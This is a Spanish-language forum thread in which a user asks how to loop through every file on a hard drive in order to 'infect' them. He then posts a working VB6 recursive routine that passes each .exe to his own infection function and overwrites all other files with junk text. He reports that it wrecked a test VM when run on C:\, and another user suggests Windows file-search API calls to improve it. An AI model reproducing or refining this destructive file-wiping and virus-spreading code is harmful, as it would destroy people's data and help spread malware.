Ayuda con una rutina

[carlitrosss6]

Que pex.

Sòlo necesito saber como puedo hacer que todos los archivos del DD pasen por una variable (sName) uno por uno,para infectarlos o no,pero de eso me encargo yo.

Intente con algunos For y los controles DirListBox y FileListBox,pero no me resulta.

Alguna forma de hacer una busqueda completa de todos los archivos del DD,que no sea con  WSCRIPT?

Gracias! 

[cassiani]

En

*http://www.recursosvisualbasic.com.ar/

encontraras ejemplos de lo que consultas, saludos!!

[carlitrosss6]

Cheque el sitio,pero mejor me quede con una funcion que adapte de un VBS que tenia por ahi,para no agrandar mucho el codigo jojo...

Código [Seleccionar] Expandir

Private Function DoSearch(Path as String)

On Error Resume Next

Dim i
Dim fso As Object
Dim Folder, Archivos, Archivo, Subfolders, Subfolder


i = FreeFile
set fso = CreateObject("scripting.filesystemobject")
Set Folder = fso.getfolder(path)
Set Archivos = Folder.Files

For Each Archivo In Archivos

If ext(archivo.path) = ".exe" Then

Violar(archivo.path)  ' funciòn mia..

Else

Open archivo.path For Output As #i
Print #i, "blah blah blah!"
Close #i
End If
Next

Set Subfolders = Folder.Subfolders
For Each Subfolder In Subfolders
DoSearch Subfolder.path
Next

End Function


Con esta funciòn fue suficiente,la probè en VMware y un simple DoSearch("c:\") terminò bastante mal jaja...

Gracias,se ve que hay muy buenos programadores por aqui!.

[XcryptOR]

Código (vb) [Seleccionar] Expandir

Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" ( _
ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" ( _
ByVal hFind As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long

mira estas funciones son todo lo que necesitas, busca aqui en el foro hay bastante de esto